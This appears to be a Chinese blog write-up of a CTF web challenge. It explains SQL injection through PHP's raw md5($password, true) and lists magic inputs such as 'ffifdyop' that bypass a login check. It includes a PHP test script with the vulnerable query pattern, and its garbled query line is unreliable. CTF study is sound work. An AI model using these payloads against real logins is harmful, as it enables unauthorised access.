ctf md5构造 字符串转化

ctf题目:

http://www.shiyanbar.com/ctf/2036

解题过程

在这里插入图片描述
做web题一般从界面上是看不出什么东西的,所以直接按F12打开控制台查看源代码

在这里插入图片描述
看到这么一大段注释我就知道有鬼,开始仔细阅读。
看到这一句就已经很明显了,是sql注入的问题
s q l = " S E L E C T ∗ F R O M a d m i n W H E R E u s e r n a m e = ′ a d m i n ′ a n d p a s s w o r d = ′ " . m d 5 ( sql = "SELECT * FROM admin WHERE username = 'admin' and password ='".md5( sql="SELECTFROMadminWHEREusername=adminandpassword=".md5(password,true)."’";
但是password="’.md5($password,ture).’"
显然我们输入的password会被md5加密,并且会再次转化为字符串型。
那么就是需要构造一个最终结构是sql命令的明文了

来自度娘的几个明文结构

1: .md5(4611686052576742364).
2: .md5(e58).
3: .md5().
4: .md5(ffifdyop).
5: .md5(129581926211651571912466741651878684928).
测试代码

<?php 
    
error_reporting(0);

$link = mysql_connect('localhost', 'root', '');
if (!$link) { 
    die('Could not connect to MySQL: ' . mysql_error()); 
} 

// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
    echo 'select db error';
    exit();
}

// 执行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );

$row1 = mysql_fetch_row($result);
var_dump($row1);

mysql_close($link);

?>

转载于https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html
感谢dalao分享

最后把上面给的明文结构输入便可以得到flag:
在这里插入图片描述
解题结束

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值